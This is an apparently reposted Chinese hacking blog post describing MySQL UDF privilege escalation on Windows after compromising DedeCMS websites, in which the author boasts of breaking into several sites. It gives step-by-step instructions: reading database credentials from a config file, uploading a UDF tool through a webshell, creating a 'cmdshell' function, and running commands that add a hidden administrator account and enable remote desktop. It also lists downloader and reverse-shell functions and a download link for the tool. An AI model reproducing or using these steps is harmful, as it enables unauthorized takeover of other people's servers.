Mysql UDF提权

来源:互联网 发布:南昌大学软件学院邮编 编辑:程序博客网 时间:2024/05/13 06:17
2011-08-17 1:14


今天闲的无聊DEDECMS搞了几个站。没事做提权吧。真的很久很久没有玩这东西了。

测试经典的UDF.dll提权一次性成功。


dedecms的账号和密码都保存在data/common.inc.php里面;下载common.inc.php查看账号密码你懂的。

首先用菜刀上传UDF.php;然后输入账号密码啥的也就连接成功了。

作者:

二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

三、使用帮助:
第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。

第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。

第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。

如果执行:
create function cmdshell returns string soname 'udf.dll'
出现:
数据库查讯出错,请检查SQL语句create function cmdshell returns string soname 'udf.dll'的语法是否正确。Function 'cmdshell' already exists

解释:

在有些版本的MYSQL上确实会发生这事.这是一个MYSQL的BUG,官方描述如下:

http://bugs.mysql.com/bug.php?id=15439

Description:
Under some circumstances, case handling of UDF names leads to strange behaviour.
This can result in a situation where the function can be successfully dropped
without actually removing the corresponding entry from the mysql.func table. 

…………

从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

OK,问题解决了!准备添加用户:select cmdshell('net user black black /add');
--------------------------------
解决这个问题你可以输入手工输入
delete from mysql.func where name='cmdshell'

第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。

 

四、功能函数说明:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;

也可一次执行一下语句:
create function cmdshell returns string soname 'udf.dll' 
select cmdshell('net user iis_user 123!@#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
drop function cmdshell; 
select cmdshell('netstat -an');

最后用 iis_user 123!@#abcABC登录就行了。

UDF下载地址:http://dl.dbank.com/c03histe6b